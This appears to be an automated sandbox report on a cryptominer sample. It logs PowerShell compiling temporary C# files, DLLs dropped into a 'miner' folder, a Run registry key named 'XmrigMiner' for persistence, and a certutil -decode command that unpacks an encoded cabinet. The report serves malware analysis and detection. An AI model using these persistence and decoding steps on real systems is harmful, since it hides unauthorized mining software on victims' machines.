Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmhmaghu.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ahbspsjl.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ck4l4tfe.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\weizmren.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmhmaghu.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ahbspsjl.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ck4l4tfe.cmdline"

Source: ef6e2f792af92b4b9f5dc85422487e31.tmp.3.dr	Static PE information: section name: _RDATA
Source: DLLF060.tmp.10.dr	Static PE information: section name: /4
Source: DLLF060.tmp.10.dr	Static PE information: section name: /14
Source: DLL814C.tmp.10.dr	Static PE information: section name: /4
Source: DLL814C.tmp.10.dr	Static PE information: section name: /14
Source: DLL46B0.tmp.10.dr	Static PE information: section name: /4
Source: DLL46B0.tmp.10.dr	Static PE information: section name: /14
Source: DLLD6FB.tmp.10.dr	Static PE information: section name: /4
Source: DLLD6FB.tmp.10.dr	Static PE information: section name: /14
Source: DLL663C.tmp.10.dr	Static PE information: section name: /4
Source: DLL663C.tmp.10.dr	Static PE information: section name: /14
Source: DLLF657.tmp.10.dr	Static PE information: section name: /4
Source: DLLF657.tmp.10.dr	Static PE information: section name: /14
Source: DLL82AA.tmp.10.dr	Static PE information: section name: /4
Source: DLL82AA.tmp.10.dr	Static PE information: section name: /14
Source: DLL120A.tmp.10.dr	Static PE information: section name: /4
Source: DLL120A.tmp.10.dr	Static PE information: section name: /14
Source: DLLAA54.tmp.10.dr	Static PE information: section name: /4
Source: DLLAA54.tmp.10.dr	Static PE information: section name: /14
Source: DLL39F2.tmp.10.dr	Static PE information: section name: /4
Source: DLL39F2.tmp.10.dr	Static PE information: section name: /14
Source: DLLD067.tmp.10.dr	Static PE information: section name: /4
Source: DLLD067.tmp.10.dr	Static PE information: section name: /14
Source: DLL6063.tmp.10.dr	Static PE information: section name: /4
Source: DLL6063.tmp.10.dr	Static PE information: section name: /14

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL120A.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\zmhmaghu.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLLD067.tmp	Jump to dropped file
Source: C:\Windows\System32\expand.exe	File created: C:\miner\fetchX64.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL814C.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL663C.tmp	Jump to dropped file
Source: C:\Windows\System32\expand.exe	File created: C:\miner\fetchX32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\weizmren.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLLF657.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ee3yyyau.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL6063.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ck4l4tfe.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLLF060.tmp	Jump to dropped file
Source: C:\Windows\System32\expand.exe	File created: C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\ef6e2f792af92b4b9f5dc85422487e31.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ahbspsjl.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	Jump to dropped file
Source: C:\Windows\System32\expand.exe	File created: C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\32aef5a1e2625241be82835248f96587.tmp	Jump to dropped file

Boot Survival

Creates autostart registry keys with suspicious values (likely registry only malware)

Source: C:\Windows\System32\reg.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XmrigMiner C:\miner\mine_start.vbs

Jump to behavior

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XmrigMiner			Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XmrigMiner			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses certutil -decode

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\certutil.exe "C:\Windows\System32\certutil.exe" -decode C:\Users\user\AppData\Local\Temp\Encode.txt C:\miner\DarkMiner.cab
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\certutil.exe "C:\Windows\System32\certutil.exe" -decode C:\Users\user\AppData\Local\Temp\Encode.txt C:\miner\DarkMiner.cab			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
